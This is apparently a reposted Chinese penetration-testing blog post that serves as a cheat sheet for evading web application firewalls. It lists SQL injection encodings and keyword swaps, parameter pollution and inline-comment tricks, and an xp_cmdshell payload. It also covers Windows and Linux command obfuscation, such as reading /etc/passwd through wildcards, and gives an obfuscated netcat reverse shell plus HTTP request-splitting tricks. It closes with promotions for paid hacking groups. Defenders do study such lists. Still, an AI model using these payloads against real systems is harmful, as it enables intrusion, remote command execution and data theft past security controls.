WAF绕过-寻找不同绕狗姿势
2023-5-13 00:0:37 Author: 渗透安全团队(查看原文) 阅读量:25 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

全网-WAF专题(一)

开学 每一天

1、【导读】500+WAF案例总结(一)

2、【思路速成】快速融入实战环境

3、【免费】技术共享原则,持续免费更新

4、【遵守版权】对于创作好的思路,后台发送"打狗",获取完整excl,关注有技术的师傅

5、【遵纪守法】遵守相关的法律法规,只做技术研究、切勿用作非法用途,所产生的后果与本文无关

后台暗号:【打狗】,excl附带原文URL,关注每一位有技术的师傅,使创作者都能在黑暗中找到光明。

幼儿园我又来啦

用微笑改变世界

方法

Payload

编码

1、进行url编码(少数waf不会进行URL解码,部分waf进行一次url解码==>可对payload进行二次url编码

2Unicode编码:单引号 = %u0027%u02b9%u02bc

3、部分十六进制编码:adminuser = 0x61646D696E75736572

SQL编码:unicodeHEXURLascllbase64

5XSS编码:HTMLURLASCIIJS编码、base64

大小写变换

select = SELecT

关键字替换

And = &&

Or = ||

等于号 = like (或使用<  > 进行判断)

if(a,b,c) = case when(A) then B else C end

substr(str,1,1) = substr (str) from 1 for 1

limit 1,1 = limit 1 offset 1

Union select 1,2 = union select * from ((select 1)A join (select 2)B;

hex()bin() = ascii()

sleep() = benchmark()

concat_ws() = group_concat()

mid()substr() = substring()

@@user = user()

@@datadir = datadir()

特殊字符替换(空格或注释绕过)

sqlserver中:/**//*|%23--%23|*/ 

mysql中:%0a%0a/**///*!*//#A%0a

特殊字符重写绕过

selselectect

多请求拆分绕过

?a=[inputa]&b=[inputb]  ===(参数拼接)  and a=[inputa] and b=[inputb]

参数放Cookie里面进行绕过

$_REQUEST(获取参数,会获取GET POST COOKIE===>  若未检测cookie,我们可以放cookie里面

使用白名单绕过

admin dede install等目录特殊目录在白名单内

URL/xxx.php?id=1 union select …… ===

1URL/xxx.php/admin?id=1 union select……

2URL/admin/..\xxx.php?id=1 union select……

内联注释绕过

id=1 and 1=1 ===  id=1/*!and*/1=1

参数重写绕过

URL/xx.php?id=1 union select  ===

URL/xx.php?id=1&id=union&id=select&id=……&id=

特殊字符拼接

mssql中,函数里面可以用+来拼接

?id=1;exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

Windows特性

利用符号分割字符:whoami ==((((Wh^o^am””i)))) 

利用变量分割关键字:whoami ==set a=who&&b=ami&&call %a%%b%

设置一个变量:set a=123whoami456  ===》 取出变量a的第3位开始共计6个字符:echo %a:~3,6%  ===》执行取出的值:%a:~3,6%

Linux特性

单引号或双引号连接符:whoami = whoami

?,*通配符:Cat /etc/passwd = cat /?t*/??ss**

[] 通配符,匹配【】中的字符:whoami = /b[12312i]n/w[23sh]oa[2msh]i

变量拼接:Whoami = a=who&&b=ami&&$a$b

目录穿越:cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd

Shell反弹(127.0.0.1 2130706433):nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433 1234

waf

===》找真实IP

bp插件

bypass waf

http协议绕过

Content-Type绕过:application/x-www-form-urlencoded è multipart/form-data

请求方式绕过:更换请求方法

Content-Disposition绕过:包含多个Content-Disposition时,中间件与waf取值不同 

keep-alivePipeline)绕过:手动设置Connection:keep-alive(未断开),然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过waf

修改编码方式:Charset=xxx进行绕过

Waf检测限制绕过

参数溢出

缓冲区溢出:

UnIoN SeLeCT === and (select 1)=(Select 0xA*99999) UnIoN SeLeCT

and 1=1 === and 1=1 and 99…99999 //此处省略N多个9

同网段/ssrf绕过


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247504611&idx=2&sn=f48875672b27e1ca1fcd1461325db12f&chksm=c1762f4cf601a65a4f6009aed84c9086834bf3b88c38d63be810dc01d818d95cfb1cac0602fa#rd
如有侵权请联系:admin#unsafe.sh